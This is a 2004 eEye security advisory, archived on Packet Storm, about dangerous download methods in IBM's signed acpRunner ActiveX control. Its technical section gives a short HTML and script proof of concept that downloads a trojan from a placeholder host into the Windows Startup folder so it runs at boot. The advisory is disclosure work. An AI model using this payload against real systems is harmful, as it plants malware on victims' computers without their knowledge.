exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

eEye.acpRunner.txt

eEye.acpRunner.txt
Posted Jun 18, 2004
Authored by Drew Copley, http-equiv | Site eeye.com

eEye Security Advisory - eEye Digital Security has discovered a security vulnerability in IBM's signed acpRunner activex. Because this application is signed, it might be presented to users on the web for execution in the name of IBM. If users trust IBM, they will run this, and their systems will be compromised. This activex was designed by IBM to be used for an automated support solution for their PC's. An unknown number of systems already have this activex on their systems. Version affected is 1.2.5.0.

tags | advisory, web, activex
SHA-256 | 2b6bac2ea94d90530ba2aaba9296ae3ea83b7a8958d58406bb05f94b3b8ed1b6

eEye.acpRunner.txt

Change Mirror Download
IBM acpRunner Activex Dangerous Methods Vulnerability

Release Date:
June 15, 2004

Date Reported:
February 20, 2004

Patch Development Time (In Days):
116

Severity:
High (Remote Code Execution)

Vendor:
IBM

Systems Affected:
acpRunner Activex Version 1.2.5.0

Overview:
eEye Digital Security has discovered a security vulnerability in IBM's
signed "acpRunner" activex. Because this application is signed, it might
be presented to users on the web for execution in the name of IBM. If
users trust IBM, they will run this, and their systems will be
compromised. This activex was designed by IBM to be used for an
automated support solution for their PC's. An unknown number of systems
already have this activex on their systems.

The issue is quite simple. Activex is a very profound web technology. As
a profound web technology it may be abused. Designers might create an
activex which could perform any function on an user's computer.
Microsoft relies on trust for the security model and warns against
making activex with dangerous capabilities. The responsibility, however,
rests with the creator of the activex, as in any trust model.

In this case, IBM made available methods named such as "DownLoadURL",
"SaveFilePath", and "Download". Almost needless to say, these methods
allow a remote attacker to have a victim system silently download the
file of their choosing into the location of their choosing. By
downloading an executable file to the Startup folder, this malicious
executable would be automatically executed on start up.

Technical Details:
-----------EXAMPLE HTML---------

|object width="310" height="20"
codebase="https://www-3.ibm.com/pc/support/access/aslibmain/content/AcpC
ontrol.cab" id="runner"
classid="CLSID:E598AC61-4C6F-4F4D-877F-FAC49CA91FA3"
data="DATA:application/x-oleobject;BASE64,YayY5W9MTU+Hf/rEnKkfowADAAAKIA
AAEQIAAA==">
|object|

|script|
runner.DownLoadURL = "http://malicioussystem/trojan.exe";
runner.SaveFilePath = "\..\\Start Menu\\Programs\\Startup";
runner.FileSize = 96,857;
runner.FileDate = "01/09/2004 3:33";
runner.DownLoad();
|script|

---------------------------------

In the above example, we see the object called utilizing the "object"
tag. The codebase tag is used by the browser to initiate the install of
the activex if it is not already existing on the system. This would
bring up the activex prompt which essentially asks the user if they
trust IBM. Finally, the object is named "runner", so we might reference
it later in script and use its' dangerous methods.

In the script we see we access the dangerous methods of "runner" in a
completely straightforward manner. The "saveFilePath" method uses a
local url on the user's system which will accurately point to the user's
startup folder. Finally, the method "Download" is called, and a progress
meter shows the trojan file being downloaded to the exploit folder on
the user's system. At restart, the OS would automatically run the
trojan.

Protection:
Retina Network Security Scanner has been updated to identify this
vulnerability.

Vendor Status:
IBM has released a patch for this vulnerability. The patch is available
at the following location:
http://www-306.ibm.com/pc/support/site.wss/document.do?lndocid=MIGR-5186
0

Credit:
Discovery: http-equiv@malware.com
Additional Research: Drew Copley

Related Links:
Retina Network Security Scanner - Free 15 Day Trial
http://www.eeye.com/html/products/retina/download/index.html

Quotes of the Day:
"Fuggedboutit" - the "Cosa Nostra" community as reported by "Donnie
Brasco" (aka, Joe Pistone, FBI)

"You know what glamour is? It is fear." - The Krays (1981)

Copyright (c) 1998-2004 eEye Digital Security
Permission is hereby granted for the redistribution of this alert
electronically. It is not to be edited in any way without express
consent of eEye. If you wish to reprint the whole or any part of this
alert in any other medium excluding electronic medium, please email
alert@eEye.com for permission.

Disclaimer
The information within this paper may change without notice. Use of this
information constitutes acceptance for use in an AS IS condition. There
are no warranties, implied or express, with regard to this information.
In no event shall the author be liable for any direct or indirect
damages whatsoever arising out of or in connection with the use or
spread of this information. Any use of this information is at the user's
own risk.


Login or Register to add favorites

File Archive:

December 2022

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Dec 1st
    2 Files
  • 2
    Dec 2nd
    12 Files
  • 3
    Dec 3rd
    0 Files
  • 4
    Dec 4th
    0 Files
  • 5
    Dec 5th
    0 Files
  • 6
    Dec 6th
    0 Files
  • 7
    Dec 7th
    0 Files
  • 8
    Dec 8th
    0 Files
  • 9
    Dec 9th
    0 Files
  • 10
    Dec 10th
    0 Files
  • 11
    Dec 11th
    0 Files
  • 12
    Dec 12th
    0 Files
  • 13
    Dec 13th
    0 Files
  • 14
    Dec 14th
    0 Files
  • 15
    Dec 15th
    0 Files
  • 16
    Dec 16th
    0 Files
  • 17
    Dec 17th
    0 Files
  • 18
    Dec 18th
    0 Files
  • 19
    Dec 19th
    0 Files
  • 20
    Dec 20th
    0 Files
  • 21
    Dec 21st
    0 Files
  • 22
    Dec 22nd
    0 Files
  • 23
    Dec 23rd
    0 Files
  • 24
    Dec 24th
    0 Files
  • 25
    Dec 25th
    0 Files
  • 26
    Dec 26th
    0 Files
  • 27
    Dec 27th
    0 Files
  • 28
    Dec 28th
    0 Files
  • 29
    Dec 29th
    0 Files
  • 30
    Dec 30th
    0 Files
  • 31
    Dec 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Hosting By
Rokasec
close